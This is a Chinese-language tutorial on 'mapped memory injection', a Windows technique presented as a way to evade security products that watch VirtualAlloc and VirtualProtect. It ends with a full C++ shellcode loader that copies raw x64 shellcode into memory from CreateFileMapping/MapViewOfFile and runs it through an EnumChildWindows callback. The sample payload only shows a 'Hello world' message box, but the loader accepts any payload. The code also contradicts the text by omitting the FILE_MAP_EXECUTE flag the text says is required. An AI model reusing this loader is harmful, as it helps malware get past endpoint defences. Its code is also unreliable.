一、前言
在所有先前的实现中,私有内存类型都用于在执行期间存储有效负载。私有内存是使用 VirtualAlloc
或 VirtualAllocEx
分配的,如下图所示可以看到内存类型属于Private
二、映射内存注入
分配私有内存的过程因被恶意软件广泛使用而受到安全解决方案的高度监控。为了避免使用这些受常规监控的 WinAPI,如 VirtualAlloc/Ex
和 VirtualProtect/Ex
,映射注入使用不同的 WinAPI(如 CreateFileMapping
和 MapViewOfFile
)映射内存类型。VirtualProtect/Ex
WinAPI 不能用于更改映射内存的内存权限。
当通过 CreateFileMapping
创建映射对象时,操作系统实际上会在物理内存中为该对象分配一定的内存空间。如果是基于文件的映射(即传入有效文件句柄 hFile
),操作系统会将文件内容加载到这块物理内存中。如果是匿名映射(即 hFile
为 INVALID_HANDLE_VALUE
),操作系统会直接分配一块空的物理内存。
这块物理内存与虚拟地址空间之间的关系如下:
- 物理内存是实际硬件上存储数据的区域,由操作系统分配和管理。
- 虚拟内存是进程看到的地址空间,每个进程有自己的虚拟内存地址空间。
- 通过文件映射,操作系统在物理内存和进程虚拟内存之间建立映射关系。程序可以通过虚拟内存直接访问物理内存中的数据,而无需关心底层的物理地址。
CreateFileMapping 创建一个文件映射对象,通过内存映射技术提供文件内容的访问。它允许进程创建一个映射到磁盘上的文件内容或其他内存位置的虚拟内存空间。该函数返回对文件映射对象的句柄。
HANDLE CreateFileMappingA([in] HANDLE hFile,[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 不需要 - NULL[in] DWORD flProtect,[in] DWORD dwMaximumSizeHigh, // 不需要 - NULL[in] DWORD dwMaximumSizeLow,[in, optional] LPCSTR lpName // 不需要 - NULL );
hFile
- 用于创建文件映射句柄的文件句柄。由于实现中不需要从文件中创建文件映射,因此可以使用 INVALID_HANDLE_VALUE
标志,如果 hFile 为 INVALID_HANDLE_VALUE,则调用进程还必须在 dwMaximumSizeHigh 和 dwMaximumSizeLow 参数中为文件映射对象指定一个大小
-
flProtect
- 指定文件映射对象的页面保护。在此实现中,它将设置为PAGE_EXECUTE_READWRITE
。请注意,这并不会创建一个RWX
段,而是指定稍后可以创建它。如果已将其设置为PAGE_READWRITE
,则以后将无法执行 payload。 -
dwMaximumSizeLow
- 返回文件映射句柄的大小。此值将为 payload 的大小。
MapViewOfFile 将一个文件映射对象映射到一个进程的地址空间。它接受一个文件映射对象句柄和期望的访问权限,并返回在进程地址空间中映射起始位置的指针。
LPVOID MapViewOfFile([in] HANDLE hFileMappingObject,[in] DWORD dwDesiredAccess,[in] DWORD dwFileOffsetHigh, // 不需要,可设为 NULL[in] DWORD dwFileOffsetLow, // 不需要,可设为 NULL[in] SIZE_T dwNumberOfBytesToMap );
-
hFileMappingObject
-CreateFileMapping
WinAPI 返回的句柄,它是文件映射对象。 -
dwDesiredAccess
- 文件映射对象的访问类型,它决定页面保护所创建的页面(换句话说,MapViewOfFile
调用的分配内存的内存权限)。由于将CreateFileMapping
设为PAGE_EXECUTE_READWRITE
,此参数将同时使用FILE_MAP_EXECUTE
和FILE_MAP_WRITE
标志来返回有效可执行且可写的内存,这也是为了复制有效内容并在之后执行它所需要的内容。
如果在 CreateFileMapping
中使用 PAGE_READWRITE
标志且在 MapViewOfFile
中使用 FILE_MAP_EXECUTE
标志,则 MapViewOfFile
将会失败,因为尝试由可读写 CreateFileMapping
对象句柄(无法执行此操作)创建可执行内存。
dwNumberOfBytesToMap
- 有效内容的大小。
三、完整代码
#include <windows.h> #include <iostream>unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00" "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8" "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00" "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33" "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00" "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D" "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B" "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61" "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33" "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F" "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00" "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F" "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60" "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24" "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27" "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7" "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33" "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C" "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED" "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45" "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C" "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48" "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6" "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B" "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B" "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C" "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44" "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6" "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";int main() {HANDLE filemap = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);PVOID pMapAddress = MapViewOfFile(filemap, FILE_MAP_WRITE,NULL,NULL,sizeof(shellcode));memcpy(pMapAddress, shellcode, sizeof(shellcode));if (!EnumChildWindows(NULL, (WNDENUMPROC)pMapAddress, NULL)) {printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());return -1;}}